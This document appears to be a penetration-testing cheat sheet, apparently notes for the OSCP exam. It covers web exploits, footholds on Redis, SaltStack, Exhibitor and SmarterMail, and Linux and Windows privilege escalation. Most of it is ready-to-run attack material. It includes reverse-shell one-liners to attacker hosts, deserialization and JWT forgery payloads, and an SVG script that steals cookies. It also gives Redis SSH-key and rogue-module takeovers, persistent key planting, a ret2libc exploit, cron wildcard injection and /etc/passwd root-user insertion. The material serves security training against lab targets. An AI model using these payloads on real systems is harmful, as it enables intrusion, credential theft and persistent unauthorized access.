python3 exploit.py -t http://$IP/grav-admin -c '/bin/bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'

Lands as www-data, not a Grav admin user. The PoC handles quoting cleanly; no base64 needed. Creates noise in Grav's logs.

Insecure deserialization

# Java (ysoserial) - blobs: base64 starts "rO0AB", hex "ac ed 00 05"
java -jar ysoserial.jar CommonsCollections5 'curl http://$LHOST/x' | base64 -w0
#   gadgets: URLDNS (detect/blind), CommonsCollections1-7, Groovy1, Spring1
# .NET (ysoserial.net) - __VIEWSTATE, BinaryFormatter, Json.NET, Losformatter
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "cmd /c whoami" -o base64
#   ViewState w/ leaked machineKey (Hercules pattern):
ysoserial.exe -p ViewState -g TextFormattingRunProperties \
  --generator=<__VIEWSTATEGENERATOR> --validationkey=<KEY> --validationalg=<ALG> -c "cmd /c whoami"
# PHP object injection (unserialize + magic methods __wakeup/__destruct):
phpggc Symfony/RCE4 system id
# Python pickle (vulnerable loads()):
python3 -c 'import pickle,os,base64;print(base64.b64encode(pickle.dumps(type("E",(),{"__reduce__":lambda s:(os.system,("id",))})())) )'

JWT attacks

# Decode offline: echo <part> | base64 -d   (or jwt.io offline)
# alg:none bypass -> set header {"alg":"none"}, drop signature but KEEP trailing dot
# Weak HMAC secret -> crack then re-sign:
hashcat -m 16500 jwt.txt rockyou.txt
# RS256->HS256 confusion: sign with server's PUBLIC key bytes as the HMAC secret
# jwt_tool does all of it:
python3 jwt_tool.py <JWT> -X a                 # alg:none
python3 jwt_tool.py <JWT> -C -d rockyou.txt    # crack secret
python3 jwt_tool.py <JWT> -T                   # tamper/re-sign

Client-side / auth-flow (lower OSCP priority, but seen)

# Stored XSS via SVG upload -> steal admin cookie:
<svg xmlns="http://www.w3.org/2000/svg"><script>fetch('http://$LHOST/?c='+document.cookie)</script></svg>
# OAuth/SAML CSRF, open-redirect chained to token theft
# IDOR / broken access control: change id params, hit endpoints without auth, mass-assignment
# PEN-200 client-side delivery (when a box expects a user to "open" something):
#   - VBA macro in .doc/.docm with a powershell reverse shell
#   - config.Library-ms + .lnk over WebDAV: wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root .
#     .lnk runs: powershell IEX(New-Object Net.WebClient).DownloadString('http://$LHOST/p.ps1')
#   - deliver via swaks (see SMTP). Listener: nc -lvnp 443

Specific CVE - Subrion CMS 4.2.1 auth'd upload RCE

Surface: Subrion CMS 4.2.1 (footer text, /panel login, robots.txt referencing /panel/, /front/, /install/). Webroot file-extension blacklist bypass via .phar or double-extension on the admin file manager; default creds admin:admin work on many deployments.

# PoC: https://github.com/Swammers8/SubrionCMS-4.2.1-File-upload-RCE-auth-
python3 exploit.py -u http://$IP/panel -l admin -p admin -c 'whoami'

Operating gotchas: the PoC's shell is not interactive (each -c is a fresh HTTP POST = fresh PHP process; cd won't persist). Quoting is fragile - use base64 + brace expansion to bypass the wrapper:

PAYLOAD=$(echo -n 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1' | base64 -w0)
python3 exploit.py -c "bash -c '{echo,${PAYLOAD}}|{base64,-d}|bash'"

Once the webshell is uploaded, curl the dropped .phar directly with a cmd= parameter for iteration speed.

Common app footholds (searchsploit the exact version)

  • WordPress: vuln plugins, wp-config.php creds, admin -> theme editor -> PHP RCE, xmlrpc password attack.
  • Tomcat: /manager/html default creds (tomcat:tomcat, admin:admin) -> deploy .war.
  • Jenkins: /script Groovy console -> RCE (Jeeves pattern). Runtime.getRuntime().exec(...).
  • Git exposed: .git/ -> git-dumper -> source/creds.
  • Default creds everywhere - try before exploiting.

2.3 Service footholds

2.3.1 Redis (port 6379)

Recon:

nc -nv $IP 6379
INFO                          # version, OS, uptime, build, pid, dir, executable
CLIENT LIST                   # other connections - sometimes leaks paths/IPs
CONFIG GET *                  # full server config dump
KEYS *                        # all keys (DANGEROUS on prod, fine on CTF)
MODULE LIST                   # loaded modules
SLOWLOG GET 25                # previous slow commands - sometimes contain creds
LASTSAVE                      # last RDB write timestamp
# Auth probe
redis-cli -h $IP ping         # "NOAUTH..." -> password set ; "PONG" -> unauth
hydra -P /usr/share/wordlists/rockyou.txt redis://$IP   # brute when needed

Key INFO indicators: redis_version (drives exploits), os (Lua escape feasibility), executable (/usr/local/bin/... = manual install, likely non-default user), uptime_in_days (long uptime = instance not reverted).

Attack matrix - pick the primitive:

PrimitiveWhen it worksWhen it doesn't
Write authorized_keysDaemon user has writable .ssh somewhereHardened install, daemon uid has no homedir or .ssh
Write cron job/var/spool/cron/crontabs/<user> or /etc/cron.d/ writablePermissions blocked, or cron not running
Write webshellWeb root writable AND a PHP/etc. handler reachableNo web service, or webroot read-only
Lua sandbox escape (CVE-2022-0543)Debian/Ubuntu, Redis 5.0.5 or lower (varies by build)RHEL-family, patched builds
Rogue master + MODULE LOADRedis 4.x/5.x, unauth, no MODULE blocklistAuth required (use -a), or MODULE LOAD disabled

SSH key write (try first, fail fast):

ssh-keygen -t ed25519 -f ./key -N "" -C "attacker"
(printf '\n\n\n'; cat key.pub; printf '\n\n\n') > key.txt   # pad so RDB noise doesn't corrupt the line
cat key.txt | redis-cli -h $IP -x set crackit
redis-cli -h $IP config set dbfilename "authorized_keys"
for d in /root/.ssh /home/redis/.ssh /home/ubuntu/.ssh /home/admin/.ssh \
         /var/lib/redis/.ssh /redis/.ssh /usr/local/redis/.ssh; do
  echo -n "$d: "; redis-cli -h $IP config set dir "$d" 2>&1
done
# If one succeeds:
redis-cli -h $IP save
ssh -i ./key <user>@$IP

Permission denied on /root/.ssh = exists but daemon isn't root. No such file or directory on /home/*/.ssh = daemon user's home isn't there. When SSH-key write is blocked across the obvious targets, pivot to module load (which doesn't depend on the daemon's filesystem permissions) - don't fixate.

Lua sandbox escape (CVE-2022-0543, Debian/Ubuntu):

redis-cli -h $IP <<'EOF'
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
EOF
# uid/gid output -> vulnerable. Reverse shell:
CMD='bash -c "bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1"'
redis-cli -h $IP eval "local f = io.popen('${CMD}', 'r'); f:read('*a')" 0

Rogue master + MODULE LOAD (universal Redis 4.x/5.x). Spin up a fake master on the attacker box, tell the target SLAVEOF us, serve a malicious .so as the replication payload; target loads it via MODULE LOAD and exposes a system.exec command.

git clone https://github.com/n0b0dyCN/redis-rogue-getshell
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
cd RedisModules-ExecuteCommand
# gcc 10+ fix - the module source uses strlen/strcat/inet_addr without their headers.
sed -i '1i#include <string.h>\n#include <arpa/inet.h>' src/module.c
make
file module.so   # ELF 64-bit shared object
cd ../redis-rogue-getshell
penelope -i tun0 -p 1338   # separate pane
python3 redis-master.py -r $IP -p 6379 -L $LHOST -P 8888 \
  -f ../RedisModules-ExecuteCommand/module.so \
  -c "bash -c 'bash -i >& /dev/tcp/$LHOST/1338 0>&1'"

Crucial gotcha: the final system.exec "hangs" with a TimeoutError traceback in the rogue-master script - this is expected. The reverse shell never returns control to the Redis socket; penelope catches the connection regardless. If MODULE LOAD is disabled (config get enable-module-command returns "no"), the technique is out. If Redis is auth'd, pass -a <password>.

2.3.2 SaltStack (CVE-2020-11651 / CVE-2020-11652)

Surface: 4505/tcp (pub channel) and 4506/tcp (req channel - the EXPLOIT TARGET), often with 8000/tcp salt-api (nginx). The exploitable port is 4506; the HTTP salt-api on 8000 is a separate surface.

curl -s http://$IP:8000/run | jq        # "clients": ["local","local_async","runner","wheel",...] = SaltStack
curl -s http://$IP:8000/logout          # provoke 500 -> "Powered by CherryPy 5.6.0" = old, likely vulnerable

Why it works: the SaltStack master accepts {"cmd": "_prep_auth_info"} on the ZeroMQ req channel (4506) without authentication and returns the master root key, which then permits arbitrary code execution via the runner client.

./PoC.py --host $IP --fetch-key-only                                          # retrieve root key (no auth)
./PoC.py --host $IP --execute "id"                                            # direct exec
./PoC.py --host $IP --execute "bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'"   # reverse shell
./PoC.py --host $IP --minions --execute "bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'"  # on minions
./PoC.py --host $IP --download /root/proof.txt ./proof.txt                    # file read via wheel
./PoC.py --host $IP --upload ./shell.sh /tmp/shell.sh
# Metasploit alternative (if this is your MSF box):
#   use exploit/linux/misc/saltstack_salt_unauth_rce ; set RHOSTS/LHOST/LPORT ; run

Pitfalls: 401 on salt-api with the root key means root key != X-Auth-Token (use the ZeroMQ PoC, not curl to :8000). jid returned but no shell = TCP egress filtered (HTTP/ICMP exfil). Shell quoting breaks = use single inside double ("bash -c 'cmd'"). --download fails on /root/x because file_roots.read only reads /srv/salt/ (copy there first or HTTP exfil).

2.3.3 Exhibitor / ZooKeeper (CVE-2019-5029)

Surface: open ZooKeeper port (2181) + an HTTP service on a sibling port (8080/8181); HTTP root returns 404; Exhibitor UI at /exhibitor/v1/ui/index.html; Powered by Jetty on the 404; ZK 3.4.x with Exhibitor below 1.7.2. Exhibitor is a JVM supervisor for ZooKeeper exposing a config editor; the java.env script field is written to a shell script and executed when ZK (re)starts - anything you put there runs as the Exhibitor user, no auth.

  1. Browse to http://$IP:$HTTP_PORT/exhibitor/v1/ui/index.html
  2. Config -> Editing
  3. In the java.env script field, drop a command-injection payload: $(/bin/nc -e /bin/sh $LHOST $LPORT &)
  4. Commit. Wait for ZK to (re)launch - Exhibitor executes the field.
  5. Catch with penelope -i tun0 -p $LPORT.

Gotchas: nc -e only works on traditional/openbsd netcat - fall back to $(bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1' &). The trailing & is NOT optional (without backgrounding, Exhibitor's bootstrap hangs waiting for the shell to exit and never finishes launching ZK). Keep the payload single-line; some builds sanitize newlines.

2.3.4 SmarterMail .NET Remoting (CVE-2019-7214)

Surface: Windows host with 17001/tcp open remoting MS .NET Remoting services, cross-referenced with a SmarterMail web UI on :9998 or :80/:443. The web-UI version does NOT reliably predict exploitability - the patch shipped at the binary level, but on misconfigured/partially-upgraded hosts the legacy :17001 listener can still be bound. SmarterMail builds below 6985 deserialize a BinaryFormatter blob over TCP without type filtering, so a TypeConfuseDelegate gadget chain runs as the SmarterMail service account - NT AUTHORITY\SYSTEM by default. No auth, no privesc.

searchsploit -m 49216
sed -i "s/HOST='192.168.1.1'/HOST='$IP'/" 49216.py
sed -i "s/LHOST='192.168.1.2'/LHOST='$LHOST'/" 49216.py
sed -i "s/LPORT=4444/LPORT=1339/" 49216.py     # PORT=17001 default is fine
penelope -i tun0 -p 1339
python3 49216.py
# returns: PS C:\Windows\system32> whoami -> nt authority\system

Failure modes: connection refused on :17001 but web UI works = listener genuinely disabled (move on). TCP handshake but no shell = AV stripped the PowerShell stager (swap for a certutil cmdstager or cmd.exe /c that downloads nc.exe). Low-priv app pool user instead of SYSTEM = wrong service account (tasklist /svc | findstr -i smarter). Detection-only CVE-2025-52691 reads the version from /interface/root.

The .NET Remoting reflex: any Windows server where nmap -sV returns the literal string remoting is a deserialization candidate - SolarWinds Orion (:17778/:17790), Telerik UI for ASP.NET AJAX, internal CRM/ERP boxes. Hand-rolled payloads: ysoserial.net targeting tcp://<host>:17001/Servers.

2.3.5 zFTPServer + WAMP webroot pivot

Surface: 220 zFTPServer v6.0 banner, often colocated with Apache/IIS serving the same directory; two ports (:21 FTP, :3145 admin protocol) with independent default cred sets. Try admin:admin on :21 (the built-in admin account, heavily under-tested because everyone assumes admin must be on the admin port), anonymous: on :21 for read-only enum; vendor admin defaults on :3145 differ from :21. zFTPServer is frequently configured to serve directly out of a webroot, so an authenticated FTP login is effectively webroot write access - converting the FTP foothold into RCE on the PHP/ASP stack without any web-app vuln.

ftp $IP                  # admin:admin
ftp> ls -la              # look for .htaccess, web.config, index.php, index.aspx
ftp> put cmd.php
curl "http://$IP/cmd.php?cmd=whoami"

Apache 2.2.21 + PHP 5.3.8 on Windows almost certainly = WAMP. Default webroot: C:\wamp\www\ (or C:\wamp64\www\).

2.3.6 Apache .htpasswd + $apr1$ cracking

Surface: Apache with HTTP Basic auth (WWW-Authenticate: Basic realm=...), .htaccess referencing AuthUserFile <path> (the .htpasswd location). Hash format username:$apr1$<8-char-salt>$<22-char-hash> - Apache's MD5-based crypt (hashcat mode 1600, john md5crypt-apache).

hashcat -m 1600 hash.txt /usr/share/wordlists/rockyou.txt
hashcat -m 1600 hash.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule

Common paths: WAMP C:\wamp\www\.htpasswd, XAMPP C:\xampp\htdocs\.htpasswd, Linux /etc/apache2/.htpasswd or /var/www/.htpasswd. The .htaccess always tells you the exact path - read it first. A cracked basic-auth cred is scoped to the realm only; test it elsewhere with nxc rdp/smb/winrm/ftp but don't assume reuse.

2.4 SSH tradecraft

The MaxAuthTries trap

$ ssh -i keys/root [email protected]
Received disconnect from 127.0.0.1 port 22:2: Too many authentication failures

ssh by default offers every key it can find - keys in a running ssh-agent plus default identity files - and the OpenSSH server caps auth attempts per connection (MaxAuthTries, default 6) before disconnecting. Even with explicit -i <key>, the agent's identities are tried first, so by the time your -i key is offered the server has already capped you.

Fix: IdentitiesOnly yes + IdentityAgent none

ssh -i keys/root -o IdentitiesOnly=yes -o IdentityAgent=none root@$IP
# persistent:
cat > ~/.ssh/config <<'EOF'
Host *
    IdentitiesOnly yes
    IdentityAgent none
EOF

IdentitiesOnly yes only offers identities explicitly passed via -i/IdentityFile; IdentityAgent none disables the agent socket for the session. A few seconds typing the flags beats debugging "Too many authentication failures" mid-exam.

Loopback vs external root SSH

sshd_config frequently sets PermitRootLogin prohibit-password (or no) for external interfaces but accepts key-based root login from loopback. If a found root key fails against the external IP, get a foothold and try it against 127.0.0.1 from inside the box:

ssh -i keys/root -o IdentitiesOnly=yes -o IdentityAgent=none [email protected]

This is why a "useless" root key found via LFI is sometimes the actual privesc path - it just needs the right network position.

Drop your pubkey at every privilege level, immediately

USER_KEY='ssh-ed25519 AAAA...your_pubkey... attacker'
mkdir -p ~/.ssh && chmod 700 ~/.ssh
grep -qxF "$USER_KEY" ~/.ssh/authorized_keys 2>/dev/null \
  || echo "$USER_KEY" >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys
ssh -i ~/.ssh/<box_key> <user>@$IP id   # verify from Kali

Exam clock: a 10s SSH login beats a 10-minute exploit chain replay. Boxes reset on time, not on demand. If your shell dies during privesc, you don't repeat the foothold.

SSH key in non-canonical location is a hint

A key at ~/.ssh/keys/id_rsa rather than the canonical ~/.ssh/id_rsa means the user manages keys for multiple identities - read every file in that directory, not just the canonical filename. You'll often find keys named after their target (id_rsa_server1, production_key, or the gold case, root). Finding a private key in someone's .ssh/ does not mean it grants access to that account - the key only works wherever its public key sits in an authorized_keys. Try it, and when it fails, move on rather than burning cycles.

2.5 Public exploits (searchsploit workflow)

searchsploit apache 2.4
searchsploit -m 50383            # copy exploit to cwd
searchsploit -x 50383            # read it
# ALWAYS read the exploit before running. Fix: RHOST/LHOST, target offsets, python2->3,
# shellcode, hardcoded paths.

Compiling exploits:

# Windows privesc exploit (C) compiled on Kali with mingw:
x86_64-w64-mingw32-gcc exploit.c -o exploit.exe                 # 64-bit
i686-w64-mingw32-gcc exploit.c -o exploit.exe -lws2_32          # 32-bit + winsock
# Static Linux binary (target missing shared libs):
gcc -static exploit.c -o exploit          # or: musl-gcc -static exploit.c -o exploit
gcc -m32 exploit.c -o exploit             # 32-bit on 64-bit Kali (needs gcc-multilib)
# gcc 10+ implicit-declaration fix (half the public C/Redis PoCs need this):
sed -i '1i#include <string.h>\n#include <arpa/inet.h>' src/module.c
# Old python2 PoC: run with python2.7, or port print()/sockets to py3

Sources to cache offline before the exam: exploit-db, GitHub PoCs, HackTricks, GTFOBins, LOLBAS, PayloadsAllTheThings.


03. Linux Privilege Escalation

3.1 Enumerate

# Automated
./linpeas.sh | tee linpeas.txt        # serve via http, curl|bash
./pspy64                               # watch cron/processes WITHOUT root (Slonik pattern)
# Manual quick hits
id; sudo -l; uname -a; cat /etc/os-release
ls -la /home/*; cat /home/*/.bash_history; cat /home/*/.ssh/id_rsa
find / -perm -4000 -type f 2>/dev/null        # SUID
find / -perm -2000 -type f 2>/dev/null        # SGID
getcap -r / 2>/dev/null                        # capabilities
cat /etc/crontab; ls -la /etc/cron.*
ss -tlnp; netstat -tlnp                        # internal services -> pivot/forward
env; cat /etc/passwd; ls -la /opt /srv /var/www
mount; cat /etc/fstab                          # nfs no_root_squash
getent passwd | awk -F: '$7 !~ /(nologin|false)$/'   # users with shells

3.2 sudo -l is always step 1

sudo -l                              # who am I allowed to be?
sudo -V | head -1                    # version -> CVE applicability (Baron Samedit CVE-2021-3156 if < 1.9.5p2)
sudo --host=fakehost -l 2>/dev/null  # leak rules without password (older sudo)

If (root) NOPASSWD: /path/to/binary appears, that binary is the target. Strategy depends on what it does:

Binary callsEscape via
systemctl status ..., journalctl ...!cmd in less (pager auto-invoked)
man <page>, more <file>, less ...!cmd in pager
vi/vim something:!/bin/sh
find ... -exec foofind x -exec /bin/sh \; if find is the sudo'd binary
python <script>If script is writable, edit it; else stdin injection
awk/sed/perl/rubyGTFOBins one-liners
Custom binary, no sourcestrings, then BOF/format-string/path-hijack/env-injection

Common wins, and the env_keep case:

sudo vim -c ':!/bin/sh'                  sudo less /etc/profile  -> !/bin/sh
sudo find . -exec /bin/sh \; -quit       sudo awk 'BEGIN{system("/bin/sh")}'
sudo python3 -c 'import os;os.system("/bin/sh")'      sudo perl -e 'exec "/bin/sh";'
sudo nmap --interactive -> !sh (old)     sudo env /bin/sh
# NOPASSWD on a custom script -> read it, hijack what it calls
# LD_PRELOAD / LD_LIBRARY_PATH if env_keep+= set:
sudo LD_PRELOAD=/tmp/x.so someprog       # compile x.so with _init() spawning shell

3.3 GTFOBins is the first stop

https://gtfobins.github.io - for any non-standard sudo entry, SUID binary, or capability, GTFOBins probably has the escape. Use the SUID column for SUID binaries (prefer entries with -p / EUID preservation), the Sudo column for sudo entries.

3.4 SUID / SGID

find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;
find / -perm -u=s -type f 2>/dev/null
find / -perm -6000 -type f 2>/dev/null        # SUID + SGID
# Drop the standard Ubuntu noise:
find / -perm -4000 -type f 2>/dev/null | grep -vE '/(snap|sudo|mount|umount|su|chsh|chfn|gpasswd|newgrp|passwd|fusermount|policykit|dbus|ssh-keysign|snap-confine|pkexec|at|eject)'
# Examples:
./find . -exec /bin/sh -p \; -quit       # SUID find
cp /bin/bash /tmp/b; ... ; bash -p        # SUID bash copies / SUID cp /etc/passwd
# Custom SUID binary calling a command without abs path -> PATH hijack:
export PATH=/tmp:$PATH ; echo '/bin/bash -p' > /tmp/service; chmod +x /tmp/service

SUID enum is about outlier detection, not list reading. Memorize the standard set so the non-standard binaries pop visually. Standard noise on a vanilla Ubuntu install: /usr/bin/{sudo,su,passwd,chsh,chfn,gpasswd,newgrp,mount,umount,fusermount}, /usr/bin/at, /usr/lib/{openssh/ssh-keysign,policykit-1/polkit-agent-helper-1,dbus-1.0/dbus-daemon-launch-helper,eject/dmcrypt-get-device,snapd/snap-confine}, anything under /snap/core*/. Outliers like /usr/bin/php7.4, /usr/bin/python3.x, /usr/bin/find, /usr/bin/cp with SUID are the targets. SUID bash directly (Trick / Slonik / fail2ban patterns): bash -p gives a euid-root shell.

PHP/Perl/Ruby/Python SUID and the -p gotcha

/bin/sh and /bin/bash both drop the EUID back to the real UID on startup by default as a security mitigation. The -p flag tells them to preserve the EUID. Without -p, your SUID shell-escape silently drops back to the calling user (e.g. www-data).

/usr/bin/php7.4 -r "pcntl_exec('/bin/sh', ['-p']);"     # GTFOBins recommended
php7.4 -m | grep pcntl                                  # if pcntl not loaded
/usr/bin/php7.4 -r 'posix_setuid(0); posix_setgid(0); system("/bin/sh -p");'   # fallback
# Verify (uid=33(www-data) euid=0(root) is fine - euid=0 is what matters):
whoami    # root
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'   # promote to a real uid=0 shell

If your shell escape "works" but whoami still says the original low-priv user, missing -p is the #1 reason.

3.5 Pager escapes (universal)

PagerEscape
less!cmd (run as pager's uid); v opens $EDITOR; :e /path reads files
more!cmd once content has paged; works on Linux
man!cmd inside; or invoke man on a writable section
vi/vim:!cmd, :shell, or :python import os; os.system("...")
nanoCtrl-R Ctrl-X then cmd (read command output)

These work because the pager spawns a subshell inheriting the running process's UID; under sudo, that's root. If the pager doesn't open on a sudo systemctl status, your terminal is too tall - systemd decides whether to invoke less based on window size. Shrink with stty rows 20 cols 80, then re-run.

3.6 Capabilities

getcap -r / 2>/dev/null
# cap_setuid+ep on python/perl:
/usr/bin/python3 -c 'import os;os.setuid(0);os.system("/bin/sh")'
# cap_dac_read_search -> read any file (shadow); cap_setuid on others -> GTFOBins

3.7 Cron jobs (use pspy to catch them)

# Writable script run by root cron -> add reverse shell / chmod +s /bin/bash
echo 'cp /bin/bash /tmp/rb; chmod +s /tmp/rb' >> /path/writable_cron_script
# Wildcard injection (tar/rsync in cron with *):
echo 'mkfifo /tmp/p;nc $LHOST 443 0</tmp/p|/bin/sh>/tmp/p 2>&1' > shell.sh
touch ./--checkpoint=1; touch ./'--checkpoint-action=exec=sh shell.sh'
# PATH-relative binary in root cron/script -> PATH hijack

3.8 PATH hijacking (DevArea pattern)

A binary or script (SUID/cron/sudo) that calls e.g. service/ps/cat without a full path: put a malicious one earlier in $PATH. Watch shebang and set -e/pipefail quirks in target scripts.

3.9 NFS no_root_squash (Slonik-adjacent)

# On YOUR box (as root), mount the export, drop a SUID root binary:
mkdir /mnt/x; mount -o rw,vers=3 $IP:/export /mnt/x
cp /bin/bash /mnt/x/rootbash; chmod +s /mnt/x/rootbash
# On target:
/export/rootbash -p   -> root

3.10 Writable /etc/passwd or /etc/shadow

openssl passwd -1 -salt x pass            # make hash
echo 'root2:<hash>:0:0:root:/root:/bin/bash' >> /etc/passwd ; su root2
# Or blank root's x field if you can edit and no shadow

3.11 Service / systemd / D-Bus / docker / lxd

# docker group (Kobold pattern):
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# lxd group:
lxc init alpine c -c security.privileged=true; lxc config device add c d disk source=/ path=/mnt; lxc start c; lxc exec c sh
# writable .service / writable ExecStart binary run by root -> replace + restart
# newgrp docker (Kobold) if your secondary group includes docker

3.12 Custom binary triage

Distro binaries are vetted; bespoke ones under /usr/local/bin/ are where the bugs live. Whenever you have a foothold, walk ls -la /usr/local/bin/ /usr/local/sbin/ /opt/ and triage anything hand-rolled.

file ./binary
strings ./binary | less                # creds, paths, format strings, command literals
checksec --file=./binary               # NX/canary/PIE/RELRO matrix
ldd ./binary                           # linked libs - non-standard ones
objdump -d ./binary | less             # disassembly
nm -D ./binary                         # dynamic symbols
ltrace ./binary                        # library calls - strcmp / fopen / system args
strace ./binary 2>&1 | less            # syscalls - execve args, file reads

Look for: gets, strcpy, sprintf, scanf("%s", ...) (stack BOFs); system, popen, execl* (command injection if argument-controlled); strcmp against literals (hardcoded passwords); printf(user_input) (format-string vulns); fopen(..., "w") to attacker-influenced paths (arbitrary file write). strings first, ghidra second - hardcoded credentials and system() calls are constantly missed by people who jump straight to reverse engineering.

3.13 Stack BOF on sudo'd custom binaries

If the binary has gets and a linked system symbol (visible in strings) and no canary/PIE, that's a classic ret2libc/ret2plt one-shot.

checksec --file=./bin ; file ./bin ; strings ./bin
gdb -q ./bin
> cyclic 200          # pwndbg/peda ; feed pattern, crash
> cyclic -l <RSP_at_crash>
ROPgadget --binary ./bin | grep -E 'pop rdi|ret$'
from pwn import *
elf = ELF('./bin'); context.binary = elf
OFFSET  = 72                                 # from cyclic
POP_RDI = 0x004012a3
RET     = 0x004012a4                         # stack alignment
SYSTEM  = elf.plt['system']
BINSH   = next(elf.search(b'/bin/sh'), None)
if BINSH is None:
    BSS  = elf.bss(0x100); GETS = elf.plt['gets']
    payload  = b'A'*OFFSET
    payload += p64(POP_RDI) + p64(BSS) + p64(GETS)        # gets(bss)
    payload += p64(POP_RDI) + p64(BSS) + p64(SYSTEM)      # system(bss)
    p = process('./bin'); p.sendline(payload); p.sendline(b'/bin/sh')
else:
    payload  = b'A'*OFFSET + p64(RET) + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM)
    p = process('./bin'); p.sendline(payload)
p.interactive()

The extra ret before system is glibc's 16-byte stack-alignment requirement on x86_64 - many system() calls SEGV in movaps without it. When the binary is sudo-able, the same payload through sudo yields a root shell because EUID is 0 for the lifetime of the process. (Note: there's no standalone BOF machine on the 2026 exam, but a sudo'd vulnerable binary is still a valid privesc path.)

3.14 gcore memory dump for credential extraction

Surface: a custom long-running root process (ps aux) plus one of sudo -l listing gcore/gdb, getcap showing cap_sys_ptrace, or cat /proc/sys/kernel/yama/ptrace_scope returning 0. gcore writes a core dump of a running process; anything in its memory becomes readable - plaintext creds, decrypted secrets, tokens, keys.

ps -ef | grep -i -E 'pass|vault|secret|auth|cred|key' | grep -v grep
sudo gcore <PID>                          # writes core.<PID> (use /dev/shm for huge dumps)
strings core.<PID> | grep -i -E 'pass|pwd|secret|token|user'

Gotchas: core files can be multi-GB (write to tmpfs: cd /dev/shm && sudo gcore <PID>); the process pauses briefly during the dump; strings near getline()/stdin buffers hold the most recent input (search near known prompts like Password:). If sudo allows gdb directly, gdb -nx -ex '!sh' -ex quit is faster for your own UID - but the dump is the play when the goal is other users' secrets.

3.15 Privileged-binary-on-attacker-input pattern

When a privileged process (root cron, suid wrapper, web upload handler) calls a parsing utility on attacker-controlled input, that's a top-3 OSCP Linux privesc archetype. Find the invocation (/etc/crontab, /etc/cron.d/, or pspy), identify the binary and input source, check its version against parser-injection CVEs:

BinaryCVETrigger
ExifToolCVE-2021-22204DjVu ANT data passed through Perl eval; affects 7.44-12.23
ImageMagickImageTragick (CVE-2016-3714) and follow-upsPostScript / MVG / SVG chains
GhostscriptCVE-2023-36664 etc.-dSAFER bypasses
ffmpeg(various)HLS read primitives
tar(path traversal)Symlink/hardlink tricks in archives extracted by cron

ExifTool CVE-2021-22204 (detailed). Identification: exiftool -ver returns 12.23 or earlier; invoked by something privileged; input directory writable; filename filtering is usually a loose substring match (jpg/png), so the malicious DjVu file passes regardless.

# Discovery
cat /etc/crontab ; ls -la /etc/cron.{d,hourly,daily,weekly,monthly}/
wget http://$LHOST/pspy64 -O /tmp/pspy64 && chmod +x /tmp/pspy64 && /tmp/pspy64
which -a exiftool && exiftool -ver
# Exploit ON THE ATTACKER BOX (generates a crafted image, doesn't execute the chain):
sudo apt install djvulibre-bin
git clone https://github.com/UNICORDev/exploit-CVE-2021-22204
cd exploit-CVE-2021-22204
python3 exploit-CVE-2021-22204.py -s $LHOST $LPORT     # reverse shell built-in
python3 exploit-CVE-2021-22204.py -c '<cmd>'           # arbitrary command
# Delivery
python3 -m http.server 8888 ; rlwrap nc -lvnp $LPORT   # attacker
cd /writable/input/dir ; curl -o pwn.jpg http://$LHOST:8888/image.jpg   # target; wait up to 60s for cron

Gotchas: the filename filter is usually grep "jpg" (substring), so pwn.jpg, pwn.jpgx, foo.jpg.bar all match. Don't run the exploit on the target (djvulibre-bin probably isn't there). The payload survives output redirection (exiftool ... >> $LOG) because the eval happens during metadata parsing, before redirection matters.

3.16 Kernel exploits (last resort - can crash the box)

uname -a ; searchsploit linux kernel <version>
# Classics: DirtyCow (CVE-2016-5195), DirtyPipe (CVE-2022-0847), PwnKit/polkit (CVE-2021-4034),
#   Sudo Baron Samedit (CVE-2021-3156), GameOverlay (CVE-2023-2640/32629)
./PwnKit        # self-contained, reliable on many older boxes

3.17 Restricted shell escape (rbash / lshell / limited menus)

vi              # then  :set shell=/bin/bash   ->  :shell    (or  :!/bin/bash)
python3 -c 'import pty;pty.spawn("/bin/bash")'
awk 'BEGIN{system("/bin/bash")}'
find / -name nonexistent -exec /bin/bash \; -quit
# Get in already-unrestricted:
ssh user@host -t "/bin/bash --noprofile --norc"
ssh user@host -t "() { :; }; /bin/bash"
# rbash: call binaries by absolute path (/bin/ls), or set PATH/SHELL if export allowed.
# lshell: command injection inside an allowed builtin, or  echo os.system('/bin/bash')

3.18 Other Linux PE notes

  • Readable backups / config files with creds (Slonik: pg backup analysis); .bash_history, .mysql_history, .viminfo, /var/mail, /var/backups.
  • Password reuse across users/services - always try found creds with su/SSH.
  • Internal-only service on 127.0.0.1 -> forward it out and attack (see Pivoting).
  • screen -list/tmux ls -> SUID screen/tmux hijack root sessions (rare, old screen 4.5.0).
  • Writable library path used by a root service -> drop malicious .so.
  • Group disk -> debugfs read raw device (read /etc/shadow); groups video/shadow also win.

04. Windows Privilege Escalation

4.1 Enumerate

# Automated
.\winPEASany.exe                 # or winpeas.bat
.\PrivescCheck.ps1; Invoke-PrivescCheck
.\Seatbelt.exe -group=all
# Manual
whoami /all                      # PRIVILEGES = gold (SeImpersonate, SeBackup, etc.)
whoami /priv
systeminfo                       # OS/patches -> wesng / windows-exploit-suggester
net user; net localgroup administrators; net user <me>
ipconfig /all; route print; netstat -ano        # internal -> pivot
cmdkey /list                     # stored creds -> runas /savecred
python wesng.py systeminfo.txt   # from your box, map patch level to exploits

4.2 whoami /priv is the privesc decision tree

The first command after any Windows foothold. The privilege's state (Enabled or Disabled) doesn't matter for most of these - what matters is whether it's in the token at all.

PrivilegeTechnique
SeImpersonatePrivilegePotato family (4.3)
SeBackupPrivilegeDump SAM/SYSTEM/NTDS for offline cracking
SeRestorePrivilegeArbitrary file write
SeTakeOwnershipPrivilegeFile ACL games -> overwrite SYSTEM file
SeDebugPrivilegeToken impersonation via process access
